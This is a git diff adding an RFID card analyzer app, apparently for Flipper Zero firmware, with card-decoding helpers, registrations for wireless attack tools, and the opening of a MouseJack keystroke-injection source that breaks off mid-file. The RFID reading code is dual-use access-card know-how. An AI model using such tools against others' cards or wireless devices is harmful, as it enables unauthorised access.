b/applications/hid_analyzer/helpers/decoder_hid.h @@ -0,0 +1,24 @@ +#pragma once +#include +#include +#include "protocols/protocol_hid.h" + +class DecoderHID { +public: + bool read(uint8_t* data, uint8_t data_size); + void process_front(bool polarity, uint32_t time); + DecoderHID(); + +private: + uint32_t last_pulse_time = 0; + bool last_pulse; + uint8_t pulse_count; + + uint32_t stored_data[3] = {0, 0, 0}; + void store_data(bool data); + + std::atomic ready; + + void reset_state(); + ProtocolHID hid; +}; diff --git a/applications/hid_analyzer/helpers/hid_reader.cpp b/applications/hid_analyzer/helpers/hid_reader.cpp new file mode 100644 index 000000000..890d7c651 --- /dev/null +++ b/applications/hid_analyzer/helpers/hid_reader.cpp @@ -0,0 +1,143 @@ +#include "hid_reader.h" +#include +#include +#include + +/** + * @brief private violation assistant for HIDReader + */ +struct HIDReaderAccessor { + static void decode(HIDReader& hid_reader, bool polarity) { + hid_reader.decode(polarity); + } +}; + +void HIDReader::decode(bool polarity) { + uint32_t current_dwt_value = DWT->CYCCNT; + uint32_t period = current_dwt_value - last_dwt_value; + last_dwt_value = current_dwt_value; + + decoder_hid.process_front(polarity, period); + + detect_ticks++; +} + +bool HIDReader::switch_timer_elapsed() { + const uint32_t seconds_to_switch = furi_kernel_get_tick_frequency() * 2.0f; + return (furi_get_tick() - switch_os_tick_last) > seconds_to_switch; +} + +void HIDReader::switch_timer_reset() { + switch_os_tick_last = furi_get_tick(); +} + +void HIDReader::switch_mode() { + switch(type) { + case Type::Normal: + type = Type::Indala; + furi_hal_rfid_change_read_config(62500.0f, 0.25f); + break; + case Type::Indala: + type = Type::Normal; + furi_hal_rfid_change_read_config(125000.0f, 0.5f); + break; + } + + switch_timer_reset(); +} + +static void comparator_trigger_callback(bool level, void* comp_ctx) { + HIDReader* _this = static_cast(comp_ctx); + + HIDReaderAccessor::decode(*_this, !level); +} + +HIDReader::HIDReader() { +} + +void HIDReader::start() { + type = Type::Normal; + + furi_hal_rfid_pins_read(); + furi_hal_rfid_tim_read(125000, 0.5); + furi_hal_rfid_tim_read_start(); + start_comparator(); + + switch_timer_reset(); + last_read_count = 0; +} + +void HIDReader::start_forced(HIDReader::Type _type) { + start(); + if(_type == Type::Indala) { + switch_mode(); + } +} + +void HIDReader::stop() { + furi_hal_rfid_pins_reset(); + furi_hal_rfid_tim_read_stop(); + furi_hal_rfid_tim_reset(); + stop_comparator(); +} + +bool HIDReader::read(LfrfidKeyType* _type, uint8_t* data, uint8_t data_size, bool switch_enable) { + bool result = false; + bool something_read = false; + + if(decoder_hid.read(data, data_size)) { + *_type = LfrfidKeyType::KeyH10301; // should be an OK temp + something_read = true; + } + + // validation + if(something_read) { + switch_timer_reset(); + + if(last_read_type == *_type && memcmp(last_read_data, data, data_size) == 0) { + last_read_count = last_read_count + 1; + + if(last_read_count > 2) { + result = true; + } + } else { + last_read_type = *_type; + memcpy(last_read_data, data, data_size); + last_read_count = 0; + } + } + + // mode switching + if(switch_enable && switch_timer_elapsed()) { + switch_mode(); + last_read_count = 0; + } + + return result; +} + +bool HIDReader::detect() { + bool detected = false; + if(detect_ticks > 10) { + detected = true; + } + detect_ticks = 0; + + return detected; +} + +bool HIDReader::any_read() { + return last_read_count > 0; +} + +void HIDReader::start_comparator(void) { + furi_hal_rfid_comp_set_callback(comparator_trigger_callback, this); + last_dwt_value = DWT->CYCCNT; + + furi_hal_rfid_comp_start(); +} + +void HIDReader::stop_comparator(void) { + furi_hal_rfid_comp_stop(); + furi_hal_rfid_comp_set_callback(NULL, NULL); +} diff --git a/applications/hid_analyzer/helpers/hid_reader.h b/applications/hid_analyzer/helpers/hid_reader.h new file mode 100644 index 000000000..99dbeb08d --- /dev/null +++ b/applications/hid_analyzer/helpers/hid_reader.h @@ -0,0 +1,47 @@ +#pragma once +#include "decoder_hid.h" +#include "key_info.h" + +//#define RFID_GPIO_DEBUG 1 + +class HIDReader { +public: + enum class Type : uint8_t { + Normal, + Indala, + }; + + HIDReader(); + void start(); + void start_forced(HIDReader::Type type); + void stop(); + bool read(LfrfidKeyType* _type, uint8_t* data, uint8_t data_size, bool switch_enable = true); + + bool detect(); + bool any_read(); + +private: + friend struct HIDReaderAccessor; + + DecoderHID decoder_hid; + + uint32_t last_dwt_value; + + void start_comparator(void); + void stop_comparator(void); + + void decode(bool polarity); + + uint32_t detect_ticks; + + uint32_t switch_os_tick_last; + bool switch_timer_elapsed(); + void switch_timer_reset(); + void switch_mode(); + + LfrfidKeyType last_read_type; + uint8_t last_read_data[LFRFID_KEY_SIZE]; + uint8_t last_read_count; + + Type type = Type::Normal; +}; diff --git a/applications/hid_analyzer/helpers/hid_worker.cpp b/applications/hid_analyzer/helpers/hid_worker.cpp new file mode 100644 index 000000000..42230858c --- /dev/null +++ b/applications/hid_analyzer/helpers/hid_worker.cpp @@ -0,0 +1,38 @@ +#include "hid_worker.h" + +HIDWorker::HIDWorker() { +} + +HIDWorker::~HIDWorker() { +} + +void HIDWorker::start_read() { + reader.start(); +} + +bool HIDWorker::read() { + static const uint8_t data_size = LFRFID_KEY_SIZE; + uint8_t data[data_size] = {0}; + LfrfidKeyType type; + + bool result = reader.read(&type, data, data_size); + + if(result) { + key.set_type(type); + key.set_data(data, data_size); + }; + + return result; +} + +bool HIDWorker::detect() { + return reader.detect(); +} + +bool HIDWorker::any_read() { + return reader.any_read(); +} + +void HIDWorker::stop_read() { + reader.stop(); +} diff --git a/applications/hid_analyzer/helpers/hid_worker.h b/applications/hid_analyzer/helpers/hid_worker.h new file mode 100644 index 000000000..e6674bd1b --- /dev/null +++ b/applications/hid_analyzer/helpers/hid_worker.h @@ -0,0 +1,21 @@ +#pragma once +#include "key_info.h" +#include "rfid_key.h" +#include "hid_reader.h" + +class HIDWorker { +public: + HIDWorker(); + ~HIDWorker(); + + void start_read(); + bool read(); + bool detect(); + bool any_read(); + void stop_read(); + + RfidKey key; + +private: + HIDReader reader; +}; diff --git a/applications/hid_analyzer/helpers/key_info.h b/applications/hid_analyzer/helpers/key_info.h new file mode 100644 index 000000000..e465011d0 --- /dev/null +++ b/applications/hid_analyzer/helpers/key_info.h @@ -0,0 +1,16 @@ +#pragma once +#include + +static const uint8_t LFRFID_KEY_SIZE = 8; +static const uint8_t LFRFID_KEY_NAME_SIZE = 22; + +enum class LfrfidKeyType : uint8_t { + KeyEM4100, + KeyH10301, + KeyI40134, +}; + +const char* lfrfid_key_get_type_string(LfrfidKeyType type); +const char* lfrfid_key_get_manufacturer_string(LfrfidKeyType type); +bool lfrfid_key_get_string_type(const char* string, LfrfidKeyType* type); +uint8_t lfrfid_key_get_type_data_count(LfrfidKeyType type); diff --git a/applications/hid_analyzer/helpers/osc_fsk.h b/applications/hid_analyzer/helpers/osc_fsk.h new file mode 100644 index 000000000..eaaaa10ad --- /dev/null +++ b/applications/hid_analyzer/helpers/osc_fsk.h @@ -0,0 +1,30 @@ +#pragma once +#include + +/** + * This code tries to fit the periods into a given number of cycles (phases) by taking cycles from the next cycle of periods. + */ +class OscFSK { +public: + /** + * Get next period + * @param bit bit value + * @param period return period + * @return bool whether to advance to the next bit + */ + bool next(bool bit, uint16_t* period); + + /** + * FSK ocillator constructor + * + * @param freq_low bit 0 freq + * @param freq_hi bit 1 freq + * @param osc_phase_max max oscillator phase + */ + OscFSK(uint16_t freq_low, uint16_t freq_hi, uint16_t osc_phase_max); + +private: + const uint16_t freq[2]; + const uint16_t osc_phase_max; + int32_t osc_phase_current; +}; diff --git a/applications/hid_analyzer/helpers/protocols/protocol_generic.h b/applications/hid_analyzer/helpers/protocols/protocol_generic.h new file mode 100644 index 000000000..d593f7089 --- /dev/null +++ b/applications/hid_analyzer/helpers/protocols/protocol_generic.h @@ -0,0 +1,60 @@ +#pragma once +#include "stdint.h" +#include "stdbool.h" + +class ProtocolGeneric { +public: + /** + * @brief Get the encoded data size + * + * @return uint8_t size of encoded data in bytes + */ + virtual uint8_t get_encoded_data_size() = 0; + + /** + * @brief Get the decoded data size + * + * @return uint8_t size of decoded data in bytes + */ + virtual uint8_t get_decoded_data_size() = 0; + + /** + * @brief encode decoded data + * + * @param decoded_data + * @param decoded_data_size + * @param encoded_data + * @param encoded_data_size + */ + virtual void encode( + const uint8_t* decoded_data, + const uint8_t decoded_data_size, + uint8_t* encoded_data, + const uint8_t encoded_data_size) = 0; + + /** + * @brief decode encoded data + * + * @param encoded_data + * @param encoded_data_size + * @param decoded_data + * @param decoded_data_size + */ + virtual void decode( + const uint8_t* encoded_data, + const uint8_t encoded_data_size, + uint8_t* decoded_data, + const uint8_t decoded_data_size) = 0; + + /** + * @brief fast check that data can be correctly decoded + * + * @param encoded_data + * @param encoded_data_size + * @return true - can be correctly decoded + * @return false - cannot be correctly decoded + */ + virtual bool can_be_decoded(const uint8_t* encoded_data, const uint8_t encoded_data_size) = 0; + + virtual ~ProtocolGeneric(){}; +}; diff --git a/applications/hid_analyzer/helpers/protocols/protocol_hid.cpp b/applications/hid_analyzer/helpers/protocols/protocol_hid.cpp new file mode 100644 index 000000000..e60eafa29 --- /dev/null +++ b/applications/hid_analyzer/helpers/protocols/protocol_hid.cpp @@ -0,0 +1,155 @@ +#include "protocol_hid.h" +#include + +typedef uint32_t HIDCardData; +constexpr uint8_t HIDCount = 3; +constexpr uint8_t HIDBitSize = sizeof(HIDCardData) * 8; + +uint8_t ProtocolHID::get_encoded_data_size() { + return sizeof(HIDCardData) * HIDCount; +} + +uint8_t ProtocolHID::get_decoded_data_size() { + return 3; +} + +void ProtocolHID::encode( + const uint8_t* decoded_data, + const uint8_t decoded_data_size, + uint8_t* encoded_data, + const uint8_t encoded_data_size) { + UNUSED(decoded_data); + UNUSED(decoded_data_size); + UNUSED(encoded_data); + UNUSED(encoded_data_size); + // bob! +} + +void ProtocolHID::decode( + const uint8_t* encoded_data, + const uint8_t encoded_data_size, + uint8_t* decoded_data, + const uint8_t decoded_data_size) { + furi_check(decoded_data_size >= get_decoded_data_size()); + furi_check(encoded_data_size >= get_encoded_data_size()); + + // header check + int16_t second1pos = find_second_1(encoded_data); + + if((*(encoded_data + 1) & 0b1100) != 0x08) { + *decoded_data = 37; + } else { + *decoded_data = (36 - (second1pos - 8)); + } +} + +int16_t ProtocolHID::find_second_1(const uint8_t* encoded_data) { + if((*(encoded_data + 1) & 0b11) == 0b10) { + return 8; + } else { + for(int8_t i = 3; i >= 0; i--) { + if(((*(encoded_data + 0) >> (2 * i)) & 0b11) == 0b10) { + return (12 - i); + } + } + for(int8_t i = 3; i >= 0; i--) { + if(((*(encoded_data + 7) >> (2 * i)) & 0b11) == 0b10) { + return (16 - i); + } + } + for(int8_t i = 3; i >= 2; i--) { + if(((*(encoded_data + 6) >> (2 * i)) & 0b11) == 0b10) { + return (20 - i); + } + } + } + + return -1; +} + +bool ProtocolHID::can_be_decoded(const uint8_t* encoded_data, const uint8_t encoded_data_size) { + furi_check(encoded_data_size >= get_encoded_data_size()); + + const HIDCardData* card_data = reinterpret_cast(encoded_data); + + // header check + int16_t second1pos = -1; + // packet pre-preamble + if(*(encoded_data + 3) != 0x1D) { + return false; + } + + // packet preamble + if(*(encoded_data + 2) != 0x55) { // first four 0s mandatory in preamble + return false; + } + + if((*(encoded_data + 1) & 0xF0) != 0x50) { // next two 0s mandatory in preamble + return false; + } + + if((*(encoded_data + 1) & 0b1100) != 0x08) { // if it's not a 1... + // either it's a 37-bit or invalid + // so just continue with the manchester encoding checks + } else { // it is a 1. so it could be anywhere between 26 and 36 bit encoding. or invalid. + // we need to find the location of the second 1 + second1pos = find_second_1(encoded_data); + } + + if(second1pos == -1) { + // we're 37 bit or invalid + } + + // data decoding. ensure all is properly manchester encoded + uint32_t result = 0; + + // decode from word 0 + // coded with 01 = 0, 10 = 1 transitions + for(int8_t i = 11; i >= 0; i--) { + switch((*(card_data + 0) >> (2 * i)) & 0b11) { + case 0b01: + result = (result << 1) | 0; + break; + case 0b10: + result = (result << 1) | 1; + break; + default: + return false; + break; + } + } + + // decode from word 1 + // coded with 01 = 0, 10 = 1 transitions + for(int8_t i = 15; i >= 0; i--) { + switch((*(card_data + 1) >> (2 * i)) & 0b11) { + case 0b01: + result = (result << 1) | 0; + break; + case 0b10: + result = (result << 1) | 1; + break; + default: + return false; + break; + } + } + + // decode from word 2 + // coded with 01 = 0, 10 = 1 transitions + for(int8_t i = 15; i >= 0; i--) { + switch((*(card_data + 2) >> (2 * i)) & 0b11) { + case 0b01: + result = (result << 1) | 0; + break; + case 0b10: + result = (result << 1) | 1; + break; + default: + return false; + break; + } + } + + return true; +} diff --git a/applications/hid_analyzer/helpers/protocols/protocol_hid.h b/applications/hid_analyzer/helpers/protocols/protocol_hid.h new file mode 100644 index 000000000..0e2636d5b --- /dev/null +++ b/applications/hid_analyzer/helpers/protocols/protocol_hid.h @@ -0,0 +1,25 @@ +#pragma once +#include "protocol_generic.h" + +class ProtocolHID : public ProtocolGeneric { +public: + uint8_t get_encoded_data_size() final; + uint8_t get_decoded_data_size() final; + + void encode( + const uint8_t* decoded_data, + const uint8_t decoded_data_size, + uint8_t* encoded_data, + const uint8_t encoded_data_size) final; + + void decode( + const uint8_t* encoded_data, + const uint8_t encoded_data_size, + uint8_t* decoded_data, + const uint8_t decoded_data_size) final; + + bool can_be_decoded(const uint8_t* encoded_data, const uint8_t encoded_data_size) final; + +private: + int16_t find_second_1(const uint8_t* encoded_data); +}; diff --git a/applications/hid_analyzer/helpers/pulse_joiner.h b/applications/hid_analyzer/helpers/pulse_joiner.h new file mode 100644 index 000000000..1639d8371 --- /dev/null +++ b/applications/hid_analyzer/helpers/pulse_joiner.h @@ -0,0 +1,36 @@ +#pragma once +#include "stdint.h" + +class PulseJoiner { +public: + /** + * @brief Push timer pulse. First negative pulse is ommited. + * + * @param polarity pulse polarity: true = high2low, false = low2high + * @param period overall period time in timer clicks + * @param pulse pulse time in timer clicks + * + * @return true - next pulse can and must be popped immediatly + */ + bool push_pulse(bool polarity, uint16_t period, uint16_t pulse); + + /** + * @brief Get the next timer pulse. Call only if push_pulse returns true. + * + * @param period overall period time in timer clicks + * @param pulse pulse time in timer clicks + */ + void pop_pulse(uint16_t* period, uint16_t* pulse); + + PulseJoiner(); + +private: + struct Pulse { + bool polarity; + uint16_t time; + }; + + uint8_t pulse_index = 0; + static const uint8_t pulse_max = 6; + Pulse pulses[pulse_max]; +}; diff --git a/applications/hid_analyzer/helpers/rfid_key.h b/applications/hid_analyzer/helpers/rfid_key.h new file mode 100644 index 000000000..29b87cf9c --- /dev/null +++ b/applications/hid_analyzer/helpers/rfid_key.h @@ -0,0 +1,27 @@ +#pragma once +#include "key_info.h" +#include + +class RfidKey { +public: + RfidKey(); + ~RfidKey(); + + void set_type(LfrfidKeyType type); + void set_data(const uint8_t* data, const uint8_t data_size); + void set_name(const char* name); + + LfrfidKeyType get_type(); + const uint8_t* get_data(); + const char* get_type_text(); + uint8_t get_type_data_count() const; + char* get_name(); + uint8_t get_name_length(); + void clear(); + RfidKey& operator=(const RfidKey& rhs); + +private: + std::array data; + LfrfidKeyType type; + char name[LFRFID_KEY_NAME_SIZE + 1]; +}; diff --git a/applications/hid_analyzer/helpers/rfid_timer_emulator.h b/applications/hid_analyzer/helpers/rfid_timer_emulator.h new file mode 100644 index 000000000..874a4c3dd --- /dev/null +++ b/applications/hid_analyzer/helpers/rfid_timer_emulator.h @@ -0,0 +1,29 @@ +#pragma once +#include +#include "key_info.h" +#include "encoder_generic.h" +#include "encoder_emmarin.h" +#include "encoder_hid_h10301.h" +#include "encoder_indala_40134.h" +#include "pulse_joiner.h" +#include + +class RfidTimerEmulator { +public: + RfidTimerEmulator(); + ~RfidTimerEmulator(); + void start(LfrfidKeyType type, const uint8_t* data, uint8_t data_size); + void stop(); + +private: + EncoderGeneric* current_encoder = nullptr; + + std::map encoders = { + {LfrfidKeyType::KeyEM4100, new EncoderEM()}, + {LfrfidKeyType::KeyH10301, new EncoderHID_H10301()}, + {LfrfidKeyType::KeyI40134, new EncoderIndala_40134()}, + }; + + PulseJoiner pulse_joiner; + static void timer_update_callback(void* ctx); +}; diff --git a/applications/hid_analyzer/helpers/rfid_writer.h b/applications/hid_analyzer/helpers/rfid_writer.h new file mode 100644 index 000000000..38329877b --- /dev/null +++ b/applications/hid_analyzer/helpers/rfid_writer.h @@ -0,0 +1,20 @@ +#pragma once +#include "stdint.h" + +class RfidWriter { +public: + RfidWriter(); + ~RfidWriter(); + void start(); + void stop(); + void write_em(const uint8_t em_data[5]); + void write_hid(const uint8_t hid_data[3]); + void write_indala(const uint8_t indala_data[3]); + +private: + void write_gap(uint32_t gap_time); + void write_bit(bool value); + void write_byte(uint8_t value); + void write_block(uint8_t page, uint8_t block, bool lock_bit, uint32_t data); + void write_reset(); +}; diff --git a/applications/hid_analyzer/helpers/state_sequencer.h b/applications/hid_analyzer/helpers/state_sequencer.h new file mode 100644 index 000000000..12512ab51 --- /dev/null +++ b/applications/hid_analyzer/helpers/state_sequencer.h @@ -0,0 +1,25 @@ +#pragma once +#include "stdint.h" +#include +#include + +class TickSequencer { +public: + TickSequencer(); + ~TickSequencer(); + + void tick(); + void reset(); + void clear(); + + void do_every_tick(uint32_t tick_count, std::function fn); + void do_after_tick(uint32_t tick_count, std::function fn); + +private: + std::list > > list; + std::list > >::iterator list_it; + + uint32_t tick_count; + + void do_nothing(); +}; diff --git a/applications/hid_analyzer/hid_analyzer_app.cpp b/applications/hid_analyzer/hid_analyzer_app.cpp new file mode 100644 index 000000000..7c3ce76bc --- /dev/null +++ b/applications/hid_analyzer/hid_analyzer_app.cpp @@ -0,0 +1,22 @@ +#include "hid_analyzer_app.h" +#include "scene/hid_analyzer_app_scene_read.h" +#include "scene/hid_analyzer_app_scene_read_success.h" + +HIDApp::HIDApp() + : scene_controller{this} + , notification{"notification"} + , storage{"storage"} + , dialogs{"dialogs"} + , text_store(40) { +} + +HIDApp::~HIDApp() { +} + +void HIDApp::run(void* _args) { + UNUSED(_args); + + scene_controller.add_scene(SceneType::Read, new HIDAppSceneRead()); + scene_controller.add_scene(SceneType::ReadSuccess, new HIDAppSceneReadSuccess()); + scene_controller.process(100, SceneType::Read); +} \ No newline at end of file diff --git a/applications/hid_analyzer/hid_analyzer_app.h b/applications/hid_analyzer/hid_analyzer_app.h new file mode 100644 index 000000000..40374663a --- /dev/null +++ b/applications/hid_analyzer/hid_analyzer_app.h @@ -0,0 +1,65 @@ +#pragma once + +#include +#include + +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include "view/container_vm.h" + +#include +#include +#include + +#include "helpers/hid_worker.h" + +class HIDApp { +public: + enum class EventType : uint8_t { + GENERIC_EVENT_ENUM_VALUES, + Next, + MenuSelected, + Stay, + Retry, + }; + + enum class SceneType : uint8_t { + GENERIC_SCENE_ENUM_VALUES, + Read, + ReadSuccess, + }; + + class Event { + public: + union { + int32_t menu_index; + } payload; + + EventType type; + }; + + HIDApp(); + ~HIDApp(); + + void run(void* args); + + // private: + SceneController, HIDApp> scene_controller; + ViewController + view_controller; + RecordController notification; + RecordController storage; + RecordController dialogs; + TextStore text_store; + + HIDWorker worker; +}; \ No newline at end of file diff --git a/applications/hid_analyzer/hid_analyzer_app_launcher.cpp b/applications/hid_analyzer/hid_analyzer_app_launcher.cpp new file mode 100644 index 000000000..93e210d6c --- /dev/null +++ b/applications/hid_analyzer/hid_analyzer_app_launcher.cpp @@ -0,0 +1,10 @@ +#include "hid_analyzer_app.h" + +// app enter function +extern "C" int32_t hid_analyzer_app(void* args) { + HIDApp* app = new HIDApp(); + app->run(args); + delete app; + + return 0; +} diff --git a/applications/hid_analyzer/scene/hid_analyzer_app_scene_read.cpp b/applications/hid_analyzer/scene/hid_analyzer_app_scene_read.cpp new file mode 100644 index 000000000..8e7801614 --- /dev/null +++ b/applications/hid_analyzer/scene/hid_analyzer_app_scene_read.cpp @@ -0,0 +1,40 @@ +#include "hid_analyzer_app_scene_read.h" +#include + +void HIDAppSceneRead::on_enter(HIDApp* app, bool /* need_restore */) { + auto popup = app->view_controller.get(); + + DOLPHIN_DEED(DolphinDeedRfidRead); + popup->set_header("Searching for\nLF HID RFID", 89, 34, AlignCenter, AlignTop); + popup->set_icon(0, 3, &I_RFIDDolphinReceive_97x61); + + app->view_controller.switch_to(); + app->worker.start_read(); +} + +bool HIDAppSceneRead::on_event(HIDApp* app, HIDApp::Event* event) { + bool consumed = false; + + if(event->type == HIDApp::EventType::Tick) { + if(app->worker.read()) { + DOLPHIN_DEED(DolphinDeedRfidReadSuccess); + notification_message(app->notification, &sequence_success); + app->scene_controller.switch_to_next_scene(HIDApp::SceneType::ReadSuccess); + } else { + if(app->worker.any_read()) { + notification_message(app->notification, &sequence_blink_green_10); + } else if(app->worker.detect()) { + notification_message(app->notification, &sequence_blink_cyan_10); + } else { + notification_message(app->notification, &sequence_blink_cyan_10); + } + } + } + + return consumed; +} + +void HIDAppSceneRead::on_exit(HIDApp* app) { + app->view_controller.get()->clean(); + app->worker.stop_read(); +} diff --git a/applications/hid_analyzer/scene/hid_analyzer_app_scene_read.h b/applications/hid_analyzer/scene/hid_analyzer_app_scene_read.h new file mode 100644 index 000000000..c486f390e --- /dev/null +++ b/applications/hid_analyzer/scene/hid_analyzer_app_scene_read.h @@ -0,0 +1,9 @@ +#pragma once +#include "../hid_analyzer_app.h" + +class HIDAppSceneRead : public GenericScene { +public: + void on_enter(HIDApp* app, bool need_restore) final; + bool on_event(HIDApp* app, HIDApp::Event* event) final; + void on_exit(HIDApp* app) final; +}; diff --git a/applications/hid_analyzer/scene/hid_analyzer_app_scene_read_success.cpp b/applications/hid_analyzer/scene/hid_analyzer_app_scene_read_success.cpp new file mode 100644 index 000000000..30bb63939 --- /dev/null +++ b/applications/hid_analyzer/scene/hid_analyzer_app_scene_read_success.cpp @@ -0,0 +1,78 @@ +#include "hid_analyzer_app_scene_read_success.h" +#include "../view/elements/button_element.h" +#include "../view/elements/icon_element.h" +#include "../view/elements/string_element.h" + +void HIDAppSceneReadSuccess::on_enter(HIDApp* app, bool /* need_restore */) { + string_init(string[0]); + string_init(string[1]); + string_init(string[2]); + + auto container = app->view_controller.get(); + + auto button = container->add(); + button->set_type(ButtonElement::Type::Left, "Retry"); + button->set_callback(app, HIDAppSceneReadSuccess::back_callback); + + auto icon = container->add(); + icon->set_icon(3, 12, &I_RFIDBigChip_37x36); + + auto header = container->add(); + header->set_text("HID", 89, 3, 0, AlignCenter); + + // auto line_1_text = container->add(); + auto line_2_text = container->add(); + // auto line_3_text = container->add(); + + // auto line_1_value = container->add(); + auto line_2_value = container->add(); + // auto line_3_value = container->add(); + + const uint8_t* data = app->worker.key.get_data(); + + // line_1_text->set_text("Hi:", 65, 23, 0, AlignRight, AlignBottom, FontSecondary); + line_2_text->set_text("Bit:", 65, 35, 0, AlignRight, AlignBottom, FontSecondary); + // line_3_text->set_text("Bye:", 65, 47, 0, AlignRight, AlignBottom, FontSecondary); + + string_printf(string[1], "%u", data[0]); + + // line_1_value->set_text( + // string_get_cstr(string[0]), 68, 23, 0, AlignLeft, AlignBottom, FontSecondary); + line_2_value->set_text( + string_get_cstr(string[1]), 68, 35, 0, AlignLeft, AlignBottom, FontSecondary); + // line_3_value->set_text( + // string_get_cstr(string[2]), 68, 47, 0, AlignLeft, AlignBottom, FontSecondary); + + app->view_controller.switch_to(); + + notification_message_block(app->notification, &sequence_set_green_255); +} + +bool HIDAppSceneReadSuccess::on_event(HIDApp* app, HIDApp::Event* event) { + bool consumed = false; + + if(event->type == HIDApp::EventType::Retry) { + app->scene_controller.search_and_switch_to_previous_scene({HIDApp::SceneType::Read}); + consumed = true; + } else if(event->type == HIDApp::EventType::Back) { + app->scene_controller.search_and_switch_to_previous_scene({HIDApp::SceneType::Read}); + consumed = true; + } + + return consumed; +} + +void HIDAppSceneReadSuccess::on_exit(HIDApp* app) { + notification_message_block(app->notification, &sequence_reset_green); + app->view_controller.get()->clean(); + string_clear(string[0]); + string_clear(string[1]); + string_clear(string[2]); +} + +void HIDAppSceneReadSuccess::back_callback(void* context) { + HIDApp* app = static_cast(context); + HIDApp::Event event; + event.type = HIDApp::EventType::Retry; + app->view_controller.send_event(&event); +} diff --git a/applications/hid_analyzer/scene/hid_analyzer_app_scene_read_success.h b/applications/hid_analyzer/scene/hid_analyzer_app_scene_read_success.h new file mode 100644 index 000000000..2668a57bd --- /dev/null +++ b/applications/hid_analyzer/scene/hid_analyzer_app_scene_read_success.h @@ -0,0 +1,14 @@ +#pragma once +#include "../hid_analyzer_app.h" + +class HIDAppSceneReadSuccess : public GenericScene { +public: + void on_enter(HIDApp* app, bool need_restore) final; + bool on_event(HIDApp* app, HIDApp::Event* event) final; + void on_exit(HIDApp* app) final; + +private: + static void back_callback(void* context); + + string_t string[3]; +}; diff --git a/applications/hid_analyzer/view/container_vm.h b/applications/hid_analyzer/view/container_vm.h new file mode 100644 index 000000000..011baa2e9 --- /dev/null +++ b/applications/hid_analyzer/view/container_vm.h @@ -0,0 +1,17 @@ +#pragma once +#include + +class ContainerVM : public GenericViewModule { +public: + ContainerVM(); + ~ContainerVM() final; + View* get_view() final; + void clean() final; + + template T* add(); + +private: + View* view; + static void view_draw_callback(Canvas* canvas, void* model); + static bool view_input_callback(InputEvent* event, void* context); +}; diff --git a/applications/hid_analyzer/view/elements/button_element.h b/applications/hid_analyzer/view/elements/button_element.h new file mode 100644 index 000000000..eb9644277 --- /dev/null +++ b/applications/hid_analyzer/view/elements/button_element.h @@ -0,0 +1,28 @@ +#pragma once +#include "generic_element.h" + +typedef void (*ButtonElementCallback)(void* context); + +class ButtonElement : public GenericElement { +public: + ButtonElement(); + ~ButtonElement() final; + void draw(Canvas* canvas) final; + bool input(InputEvent* event) final; + + enum class Type : uint8_t { + Left, + Center, + Right, + }; + + void set_type(Type type, const char* text); + void set_callback(void* context, ButtonElementCallback callback); + +private: + Type type = Type::Left; + const char* text = nullptr; + + void* context = nullptr; + ButtonElementCallback callback = nullptr; +}; diff --git a/applications/hid_analyzer/view/elements/generic_element.h b/applications/hid_analyzer/view/elements/generic_element.h new file mode 100644 index 000000000..f5a58b2d9 --- /dev/null +++ b/applications/hid_analyzer/view/elements/generic_element.h @@ -0,0 +1,21 @@ +#pragma once +#include +#include + +class GenericElement { +public: + GenericElement(){}; + virtual ~GenericElement(){}; + virtual void draw(Canvas* canvas) = 0; + virtual bool input(InputEvent* event) = 0; + + // TODO that must be accessible only to ContainerVMData + void set_parent_view(View* view); + + // TODO that must be accessible only to inheritors + void lock_model(); + void unlock_model(bool need_redraw); + +private: + View* view = nullptr; +}; diff --git a/applications/hid_analyzer/view/elements/icon_element.h b/applications/hid_analyzer/view/elements/icon_element.h new file mode 100644 index 000000000..a08202741 --- /dev/null +++ b/applications/hid_analyzer/view/elements/icon_element.h @@ -0,0 +1,17 @@ +#pragma once +#include "generic_element.h" + +class IconElement : public GenericElement { +public: + IconElement(); + ~IconElement() final; + void draw(Canvas* canvas) final; + bool input(InputEvent* event) final; + + void set_icon(uint8_t x = 0, uint8_t y = 0, const Icon* icon = NULL); + +private: + const Icon* icon = NULL; + uint8_t x = 0; + uint8_t y = 0; +}; diff --git a/applications/hid_analyzer/view/elements/string_element.h b/applications/hid_analyzer/view/elements/string_element.h new file mode 100644 index 000000000..173fdd601 --- /dev/null +++ b/applications/hid_analyzer/view/elements/string_element.h @@ -0,0 +1,28 @@ +#pragma once +#include "generic_element.h" + +class StringElement : public GenericElement { +public: + StringElement(); + ~StringElement() final; + void draw(Canvas* canvas) final; + bool input(InputEvent* event) final; + + void set_text( + const char* text = NULL, + uint8_t x = 0, + uint8_t y = 0, + uint8_t fit_width = 0, + Align horizontal = AlignLeft, + Align vertical = AlignTop, + Font font = FontPrimary); + +private: + const char* text = NULL; + uint8_t x = 0; + uint8_t y = 0; + uint8_t fit_width = 0; + Align horizontal = AlignLeft; + Align vertical = AlignTop; + Font font = FontPrimary; +}; diff --git a/applications/meta/application.fam b/applications/meta/application.fam index 50275e338..a593ef44a 100644 --- a/applications/meta/application.fam +++ b/applications/meta/application.fam @@ -37,6 +37,12 @@ App( "music_player", "bt_hid", "picopass", + "hid_analyzer", + "barcode_generator", + "mouse_jacker", + "nrf_sniff", + "sentry_safe", + "wifi_marauder", ], ) diff --git a/applications/mousejacker/application.fam b/applications/mousejacker/application.fam new file mode 100644 index 000000000..36af801f2 --- /dev/null +++ b/applications/mousejacker/application.fam @@ -0,0 +1,13 @@ +App( + appid="mouse_jacker", + name="[HW] NRF24: Mouse Jacker", + apptype=FlipperAppType.PLUGIN, + entry_point="mousejacker_app", + cdefines=["APP_MOUSEJACKER"], + requires=[ + "gui", + "dialogs", + ], + stack_size=2 * 1024, + order=60, +) diff --git a/applications/mousejacker/mousejacker.c b/applications/mousejacker/mousejacker.c new file mode 100644 index 000000000..4a755a359 --- /dev/null +++ b/applications/mousejacker/mousejacker.c @@ -0,0 +1,352 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "mousejacker_ducky.h" + +#define TAG "mousejacker" +#define LOGITECH_MAX_CHANNEL 85 +#define NRFSNIFF_APP_PATH_FOLDER "/ext/nrfsniff" +#define NRFSNIFF_APP_PATH_EXTENSION ".txt" +#define NRFSNIFF_APP_FILENAME "addresses.txt" +#define MOUSEJACKER_APP_PATH_FOLDER "/ext/mousejacker" +#define MOUSEJACKER_APP_PATH_EXTENSION ".txt" +#define MAX_ADDRS 100 + +typedef enum { + EventTypeTick, + EventTypeKey, +} EventType; + +typedef struct { + EventType type; + InputEvent input; +} PluginEvent; + +typedef struct { + int x; + int y; + bool ducky_err; + bool addr_err; + bool ducky_running; +} PluginState; + +uint8_t addrs_count = 0; +uint8_t 